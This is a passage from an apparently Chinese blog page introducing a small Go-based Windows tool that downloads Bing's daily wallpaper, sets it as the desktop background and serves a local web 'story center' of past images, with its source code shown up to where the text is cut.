[{"content":"Bing壁纸自动换 - 你的每日新鲜感 Bing 官方的工具 218 MB+，过于臃肿（而且包含一堆广告和毫无用处的AI照片）。\n这是一款简洁高效的Bing壁纸自动更换工具，让你的桌面每天都有新惊喜！\nV3更新：修复若干BUG.\n核心功能 每日自动更新 自动获取Bing每日精美壁纸 支持设置自动更换频率（每小时/每天/每周） 静默后台运行，无弹窗打扰。程序已实现开机自启功能（通过 Windows 注册表）。 技术特点 🚀 轻量级，占用资源少 💾 自动保存壁纸到本地 🎨 支持多种分辨率适配 🔒 安全无广告，绿色小巧 使用场景 🌅 每天享受不同风格的桌面壁纸 📖 了解每张壁纸背后的故事 🎯 轻松管理历史壁纸收藏 让你的桌面每天都值得期待！ 运行方法 1. 直接运行（推荐） 下载已编译的 bing_wallpaper_story.exe 双击即可运行。\n站内下载链接： bing_wallpaper_story.exe\n2. 源码运行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 package main import ( _ \u0026#34;embed\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;net/url\u0026#34; \u0026#34;os\u0026#34; \u0026#34;os/exec\u0026#34; \u0026#34;path/filepath\u0026#34; \u0026#34;sort\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;syscall\u0026#34; \u0026#34;text/template\u0026#34; \u0026#34;time\u0026#34; \u0026#34;unsafe\u0026#34; \u0026#34;github.com/getlantern/systray\u0026#34; \u0026#34;golang.org/x/sys/windows/registry\u0026#34; ) //go:embed assets/icon.ico var icon []byte const ( appName = \u0026#34;BingWallpaperStoryV2\u0026#34; wallpaperDir = \u0026#34;wallpapers\u0026#34; configFile = \u0026#34;config.json\u0026#34; storyFile = \u0026#34;stories.json\u0026#34; logFile = \u0026#34;app.log\u0026#34; ) type Config struct { Market string `json:\u0026#34;market\u0026#34;` AutoStart bool `json:\u0026#34;auto_start\u0026#34;` LastDate string `json:\u0026#34;last_date\u0026#34;` } type Story struct { Date string `json:\u0026#34;date\u0026#34;` Title string `json:\u0026#34;title\u0026#34;` Copyright string `json:\u0026#34;copyright\u0026#34;` File string `json:\u0026#34;file\u0026#34;` } type BingResp struct { Images []struct { URLBase string `json:\u0026#34;urlbase\u0026#34;` Title string `json:\u0026#34;title\u0026#34;` Copyright string `json:\u0026#34;copyright\u0026#34;` } `json:\u0026#34;images\u0026#34;` } var httpClient = \u0026amp;http.Client{ Timeout: 30 * time.Second, Transport: \u0026amp;http.Transport{ MaxIdleConns: 10, IdleConnTimeout: 30 * time.Second, TLSHandshakeTimeout: 10 * time.Second, }, } var ( config Config stories []Story serverRunning bool // 服务器是否已启动 mu sync.Mutex // 保护 stories 和 serverRunning user32 = syscall.NewLazyDLL(\u0026#34;user32.dll\u0026#34;) setWallpaper = user32.NewProc(\u0026#34;SystemParametersInfoW\u0026#34;) ) func main() { fmt.Println(\u0026#34;icon size:\u0026#34;, len(icon)) setupLogging() loadConfig() loadStories() if config.AutoStart { setAutoStart() } systray.Run(onReady, onExit) } func onReady() { systray.SetIcon(icon) // ⭐关键 systray.SetTitle(\u0026#34;Bing Story V2\u0026#34;) systray.SetTooltip(\u0026#34;Wallpaper Tool\u0026#34;) mUpdate := systray.AddMenuItem(\u0026#34;立即更新\u0026#34;, \u0026#34;\u0026#34;) mToday := systray.AddMenuItem(\u0026#34;查看今日故事\u0026#34;, \u0026#34;\u0026#34;) mCenter := systray.AddMenuItem(\u0026#34;📚 故事中心\u0026#34;, \u0026#34;\u0026#34;) mOpenDir := systray.AddMenuItem(\u0026#34;打开壁纸目录\u0026#34;, \u0026#34;\u0026#34;) systray.AddSeparator() mExit := systray.AddMenuItem(\u0026#34;退出\u0026#34;, \u0026#34;\u0026#34;) go func() { autoRun() for { select { case \u0026lt;-mUpdate.ClickedCh: updateWallpaper() case \u0026lt;-mToday.ClickedCh: showToday() case \u0026lt;-mCenter.ClickedCh: showStoryCenter() case \u0026lt;-mOpenDir.ClickedCh: openPath(getWallpaperPath()) case \u0026lt;-mExit.ClickedCh: systray.Quit() return } } }() } func onExit() {} // ========================= // Core // ========================= func autoRun() { today := time.Now().Format(\u0026#34;2006-01-02\u0026#34;) if config.LastDate == today { return } updateWallpaper() config.LastDate = today saveConfig() } func updateWallpaper() { url, story, file, err := fetchBing() if err != nil { log.Println(err) return } if err := download(file, url); err != nil { log.Println(err) return } if err := setWall(file); err != nil { log.Println(err) return } saveStory(Story{ Date: time.Now().Format(\u0026#34;2006-01-02\u0026#34;), Title: story.Title, Copyright: story.Copyright, File: file, }) } // ========================= // Bing // ========================= type StoryMeta struct { Title string Copyright string } func fetchBing() (string, StoryMeta, string, error) { api := \u0026#34;https://www.bing.com/HPImageArchive.aspx?format=js\u0026amp;idx=0\u0026amp;n=1\u0026amp;mkt=\u0026#34; + getMarket() resp, err := httpClient.Get(api) if err != nil { return \u0026#34;\u0026#34;, StoryMeta{}, \u0026#34;\u0026#34;, err } defer resp.Body.Close() var data BingResp if err := json.NewDecoder(resp.Body).Decode(\u0026amp;data); err != nil { return \u0026#34;\u0026#34;, StoryMeta{}, \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;failed to decode response: %v\u0026#34;, err) } if len(data.Images) == 0 { return \u0026#34;\u0026#34;, StoryMeta{}, \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;no images returned from API\u0026#34;) } img := data.Images[0] url := \u0026#34;https://www.bing.com\u0026#34; + img.URLBase + \u0026#34;_UHD.jpg\u0026#34; return url, StoryMeta{ Title: img.Title, Copyright: img.Copyright, }, time.Now().Format(\u0026#34;20060102\u0026#34;) + \u0026#34;.jpg\u0026#34;, nil } // ========================= // Download // ========================= func download(file, url string) error { os.MkdirAll(getWallpaperPath(), 0755) path := filepath.Join(getWallpaperPath(), file) resp, err := httpClient.Get(url) if err != nil { return fmt.Errorf(\u0026#34;failed to download image: %v\u0026#34;, err) } defer resp.Body.Close() out, err := os.Create(path) if err != nil { return fmt.Errorf(\u0026#34;failed to create file: %v\u0026#34;, err) } defer out.Close() _, err = io.Copy(out, resp.Body) if err != nil { return fmt.Errorf(\u0026#34;failed to save image: %v\u0026#34;, err) } return nil } // ========================= // Wallpaper // ========================= func setWall(file string) error { path := filepath.Join(getWallpaperPath(), file) abs, err := filepath.Abs(path) if err != nil { return fmt.Errorf(\u0026#34;failed to get absolute path: %v\u0026#34;, err) } ptr, err := syscall.UTF16PtrFromString(abs) if err != nil { return fmt.Errorf(\u0026#34;failed to convert path: %v\u0026#34;, err) } ret, _, _ := setWallpaper.Call(20, 0, uintptr(unsafe.Pointer(ptr)), 3) if ret == 0 { return fmt.Errorf(\u0026#34;failed to set wallpaper\u0026#34;) } return nil } // ========================= // Story Center // ========================= const ( pageSize = 10 ) var storyHTMLTemplate = ` \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Bing 壁纸故事中心\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; :root { --primary-color: #6366f1; --primary-dark: #4f46e5; --accent-color: #8b5cf6; --bg-gradient-start: #0f172a; --bg-gradient-end: #1e1b4b; --card-bg: rgba(255, 255, 255, 0.08); --card-bg-hover: rgba(255, 255, 255, 0.12); --text-primary: #f1f5f9; --text-secondary: #94a3b8; --border-color: rgba(255, 255, 255, 0.1); --shadow-sm: 0 1px 2px rgba(0, 0, 0, 0.3); --shadow-md: 0 4px 6px rgba(0, 0, 0, 0.4); --shadow-lg: 0 10px 25px rgba(0, 0, 0, 0.5); --radius-sm: 8px; --radius-md: 12px; --radius-lg: 16px; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: \u0026#39;Inter\u0026#39;, \u0026#39;PingFang SC\u0026#39;, \u0026#39;Microsoft YaHei\u0026#39;, -apple-system, sans-serif; background: linear-gradient(145deg, var(--bg-gradient-start) 0%, var(--bg-gradient-end) 100%); min-height: 100vh; padding: 24px 16px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .container { max-width: 800px; margin: 0 auto; } .header { text-align: center; margin-bottom: 32px; padding: 24px 0; } .header h1 { font-size: 2rem; font-weight: 600; color: var(--text-primary); letter-spacing: 0.5px; margin-bottom: 8px; background: linear-gradient(135deg, #a5b4fc 0%, #c4b5fd 100%); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .header p { font-size: 0.95rem; color: var(--text-secondary); font-weight: 400; } .stats-bar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 24px; padding: 16px 20px; background: var(--card-bg); border-radius: var(--radius-md); border: 1px solid var(--border-color); } .stats-info { font-size: 0.9rem; color: var(--text-secondary); } .stats-info strong { color: var(--text-primary); font-weight: 500; } .sync-btn { padding: 8px 20px; background: linear-gradient(135deg, var(--primary-color) 0%, var(--accent-color) 100%); color: white; border: none; border-radius: var(--radius-sm); font-size: 0.85rem; font-weight: 500; cursor: pointer; transition: all 0.25s ease; box-shadow: var(--shadow-sm); } .sync-btn:hover { transform: translateY(-1px); box-shadow: var(--shadow-md); opacity: 0.95; } .sync-btn:active { transform: translateY(0); } .sync-hint { font-size: 0.75rem; color: var(--text-secondary); opacity: 0.7; margin-top: 8px; text-align: center; display: block; } .card { background: var(--card-bg); border: 1px solid var(--border-color); border-radius: var(--radius-lg); overflow: hidden; margin-bottom: 16px; transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); backdrop-filter: blur(10px); } .card:hover { background: var(--card-bg-hover); border-color: rgba(255, 255, 255, 0.2); transform: translateY(-2px); box-shadow: var(--shadow-lg); } .card-inner { display: flex; align-items: stretch; } .card-image-wrapper { position: relative; width: 200px; flex-shrink: 0; min-height: 140px; } .card-image { width: 100%; height: 100%; min-height: 140px; object-fit: cover; cursor: pointer; transition: opacity 0.2s ease; } .card-image:hover { opacity: 0.85; } .card-image-overlay { position: absolute; bottom: 0; left: 0; right: 0; background: linear-gradient(to top, rgba(0,0,0,0.6), transparent); padding: 8px 12px; opacity: 0; transition: opacity 0.2s ease; } .card-image-wrapper:hover .card-image-overlay { opacity: 1; } .card-image-overlay span { font-size: 0.75rem; color: white; font-weight: 400; } .card-content { flex: 1; padding: 16px 20px; display: flex; flex-direction: column; justify-content: space-between; } .card-header { margin-bottom: 12px; } .card-date { display: inline-block; font-size: 0.75rem; color: var(--text-secondary); background: rgba(99, 102, 241, 0.15); padding: 4px 10px; border-radius: 12px; margin-bottom: 8px; border: 1px solid rgba(99, 102, 241, 0.2); } .card-title { font-size: 1.1rem; font-weight: 600; color: var(--text-primary); margin-bottom: 6px; letter-spacing: 0.3px; } .card-desc { font-size: 0.85rem; color: var(--text-secondary); line-height: 1.5; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; } .card-actions { display: flex; justify-content: flex-end; } .btn-set-wallpaper { padding: 7px 18px; background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%); color: white; border: none; border-radius: var(--radius-sm); font-size: 0.85rem; font-weight: 500; cursor: pointer; transition: all 0.2s ease; } .btn-set-wallpaper:hover { transform: scale(1.02); box-shadow: 0 4px 12px rgba(99, 102, 241, 0.4); } .btn-set-wallpaper:active { transform: scale(0.98); } .pagination { display: flex; justify-content: center; align-items: center; gap: 8px; margin-top: 32px; padding: 20px; } .page-btn { width: 36px; height: 36px; background: var(--card-bg); border: 1px solid var(--border-color); border-radius: var(--radius-sm); color: var(--text-secondary); font-size: 0.9rem; cursor: pointer; transition: all 0.2s ease; } .page-btn:hover:not(.active) { background: var(--card-bg-hover); color: var(--text-primary); } .page-btn.active { background: linear-gradient(135deg, var(--primary-color) 0%, var(--accent-color) 100%); border-color: transparent; color: white; } .empty-state { text-align: center; padding: 60px 20px; color: var(--text-secondary); } .empty-state h2 { font-size: 1.25rem; font-weight: 500; margin-bottom: 8px; color: var(--text-primary); } .empty-state p { font-size: 0.9rem; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.9); backdrop-filter: blur(8px); justify-content: center; align-items: center; padding: 20px; } .modal.show { display: flex; animation: fadeIn 0.2s ease; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { position: relative; max-width: 90vw; max-height: 90vh; animation: zoomIn 0.25s ease; } @keyframes zoomIn { from { transform: scale(0.95); opacity: 0; } to { transform: scale(1); opacity: 1; } } .modal img { max-width: 100%; max-height: 85vh; border-radius: var(--radius-md); box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6); } .modal-close { position: absolute; top: -40px; right: 0; color: white; font-size: 28px; font-weight: 300; cursor: pointer; opacity: 0.7; transition: opacity 0.2s; width: 36px; height: 36px; display: flex; align-items: center; justify-content: center; } .modal-close:hover { opacity: 1; } .toast { position: fixed; bottom: 30px; left: 50%; transform: translateX(-50%); background: rgba(15, 23, 42, 0.95); color: white; padding: 14px 24px; border-radius: var(--radius-md); font-size: 0.9rem; opacity: 0; transition: opacity 0.3s; z-index: 1001; border: 1px solid var(--border-color); box-shadow: var(--shadow-lg); } .toast.show { opacity: 1; } @media (max-width: 600px) { .card-inner { flex-direction: column; } .card-image-wrapper { width: 100%; height: 180px; } .card-content { padding: 16px; } .stats-bar { flex-direction: column; gap: 12px; text-align: center; } .header h1 { font-size: 1.6rem; } } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;!-- 图片预览模态框 --\u0026gt; \u0026lt;div id=\u0026#34;imageModal\u0026#34; class=\u0026#34;modal\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;modal-content\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;modal-close\u0026#34; onclick=\u0026#34;closeModal()\u0026#34;\u0026gt;\u0026amp;times;\u0026lt;/span\u0026gt; \u0026lt;img id=\u0026#34;modalImage\u0026#34; src=\u0026#34;\u0026#34; alt=\u0026#34;预览\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;🖼️ 壁纸故事中心\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;探索每一天的精彩瞬间\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;stats-bar\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;stats-info\u0026#34;\u0026gt;共 \u0026lt;strong\u0026gt;{{.Total}}\u0026lt;/strong\u0026gt; 条记录 · 第 \u0026lt;strong\u0026gt;{{.CurrentPage}}/{{.TotalPages}}\u0026lt;/strong\u0026gt; 页\u0026lt;/span\u0026gt; \u0026lt;button class=\u0026#34;sync-btn\u0026#34; onclick=\u0026#34;syncStories()\u0026#34; title=\u0026#34;同步壁纸文件与故事记录\u0026#34;\u0026gt;🔄 同步\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;span class=\u0026#34;sync-hint\u0026#34;\u0026gt;近7天官方API · 更早日期尝试存档\u0026lt;/span\u0026gt; {{if .Stories}} {{range .Stories}} \u0026lt;div class=\u0026#34;card\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-inner\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-image-wrapper\u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;card-image\u0026#34; src=\u0026#34;/wallpaper/{{.File}}\u0026#34; alt=\u0026#34;{{.Title}}\u0026#34; onclick=\u0026#34;previewImage(\u0026#39;/wallpaper/{{.File}}\u0026#39;)\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-image-overlay\u0026#34;\u0026gt;\u0026lt;span\u0026gt;点击预览大图\u0026lt;/span\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;card-content\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;card-header\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;card-date\u0026#34;\u0026gt;{{.Date}}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;card-title\u0026#34;\u0026gt;{{.Title}}\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;card-desc\u0026#34;\u0026gt;{{.Copyright}}\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;card-actions\u0026#34;\u0026gt; \u0026lt;button class=\u0026#34;btn-set-wallpaper\u0026#34; onclick=\u0026#34;setWallpaper(\u0026#39;{{.File}}\u0026#39;, \u0026#39;{{.Date}}\u0026#39;)\u0026#34;\u0026gt;设为壁纸\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {{end}} \u0026lt;div class=\u0026#34;pagination\u0026#34;\u0026gt; {{if .HasPrev}}\u0026lt;button class=\u0026#34;page-btn\u0026#34; onclick=\u0026#34;navigatePage({{.CurrentPage}}-1)\u0026#34;\u0026gt;‹\u0026lt;/button\u0026gt;{{end}} {{range .PageNumbers}} \u0026lt;button class=\u0026#34;page-btn {{if eq . $.CurrentPage}}active{{end}}\u0026#34; onclick=\u0026#34;navigatePage({{.}})\u0026#34;\u0026gt;{{.}}\u0026lt;/button\u0026gt; {{end}} {{if .HasNext}}\u0026lt;button class=\u0026#34;page-btn\u0026#34; onclick=\u0026#34;navigatePage({{.CurrentPage}}+1)\u0026#34;\u0026gt;›\u0026lt;/button\u0026gt;{{end}} \u0026lt;/div\u0026gt; {{else}} \u0026lt;div class=\u0026#34;empty-state\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;暂无历史记录\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;点击「立即更新」获取今日壁纸故事\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; {{end}} \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;toast\u0026#34; class=\u0026#34;toast\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; function syncStories() { fetch(\u0026#39;/sync\u0026#39;) .then(function(r) { if (r.ok) { showToast(\u0026#39;同步成功，刷新页面查看更新\u0026#39;); } else { showToast(\u0026#39;同步失败\u0026#39;); } }) .catch(function() { showToast(\u0026#39;同步失败\u0026#39;); }); } function navigatePage(page) { window.location.href = \u0026#39;/story?page=\u0026#39; + page; } function showToast(msg) { var t = document.getElementById(\u0026#39;toast\u0026#39;); t.textContent = msg; t.classList.add(\u0026#39;show\u0026#39;); setTimeout(function() { t.classList.remove(\u0026#39;show\u0026#39;); }, 3000); } function setWallpaper(file, date) { fetch(\u0026#39;/setwallpaper?file=\u0026#39; + encodeURIComponent(file)) .then(function(r) { showToast(r.ok ? \u0026#39;已设置壁纸: \u0026#39; + date : \u0026#39;设置失败\u0026#39;); }) .catch(function() { showToast(\u0026#39;设置失败，请检查图片是否存在\u0026#39;); }); } function previewImage(src) { var modal = document.getElementById(\u0026#39;imageModal\u0026#39;); var modalImg = document.getElementById(\u0026#39;modalImage\u0026#39;); modalImg.src = src; modal.classList.add(\u0026#39;show\u0026#39;); } function closeModal() { document.getElementById(\u0026#39;imageModal\u0026#39;).classList.remove(\u0026#39;show\u0026#39;); } document.addEventListener(\u0026#39;click\u0026#39;, function(e) { var modal = document.getElementById(\u0026#39;imageModal\u0026#39;); if (e.target === modal) { closeModal(); } }); document.addEventListener(\u0026#39;keydown\u0026#39;, function(e) { if (e.key === \u0026#39;Escape\u0026#39;) { closeModal(); } }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;` // 故事中心 - 使用现代Web界面 func showStoryCenter() { // 启动服务器（只启动一次） if !serverRunning { go startStoryServer() serverRunning = true time.Sleep(500 * time.Millisecond) // 等待服务器启动 } // 打开浏览器 exec.Command(\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;start\u0026#34;, \u0026#34;http://localhost:8765/story\u0026#34;).Run() } // 启动本地HTTP服务器提供故事中心界面 func startStoryServer() { http.HandleFunc(\u0026#34;/story\u0026#34;, storyHandler) http.HandleFunc(\u0026#34;/today\u0026#34;, todayHandler) http.HandleFunc(\u0026#34;/setwallpaper\u0026#34;, setWallpaperHandler) http.HandleFunc(\u0026#34;/wallpaper/\u0026#34;, serveWallpaper) http.HandleFunc(\u0026#34;/sync\u0026#34;, syncHandler) log.Println(\u0026#34;Story server started on :8765\u0026#34;) if err := http.ListenAndServe(\u0026#34;:8765\u0026#34;, nil); err != nil { log.Println(\u0026#34;Server error:\u0026#34;, err) } } // 手动同步处理 func syncHandler(w http.ResponseWriter, r *http.Request) { syncStoriesWithWallpapers() w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) w.Write([]byte(`{\u0026#34;success\u0026#34;: true}`)) } // 提供壁纸图片访问 func serveWallpaper(w http.ResponseWriter, r *http.Request) { file := strings.TrimPrefix(r.URL.Path, \u0026#34;/wallpaper/\u0026#34;) file = strings.TrimPrefix(file, \u0026#34;/\u0026#34;) file = filepath.Join(getWallpaperPath(), file) if _, err := os.Stat(file); os.IsNotExist(err) { http.NotFound(w, r) return } http.ServeFile(w, r, file) } // 今日故事页面 func todayHandler(w http.ResponseWriter, r *http.Request) { loadStoriesFromFile() mu.Lock() if len(stories) == 0 { mu.Unlock() w.Write([]byte(` \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;今日故事\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { font-family: \u0026#39;PingFang SC\u0026#39;, \u0026#39;Microsoft YaHei\u0026#39;, sans-serif; background: linear-gradient(145deg, #0f172a 0%, #1e1b4b 100%); min-height: 100vh; display: flex; align-items: center; justify-content: center; padding: 20px; } .container { text-align: center; color: #94a3b8; } .container h2 { font-size: 1.5rem; margin-bottom: 10px; color: #f1f5f9; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; 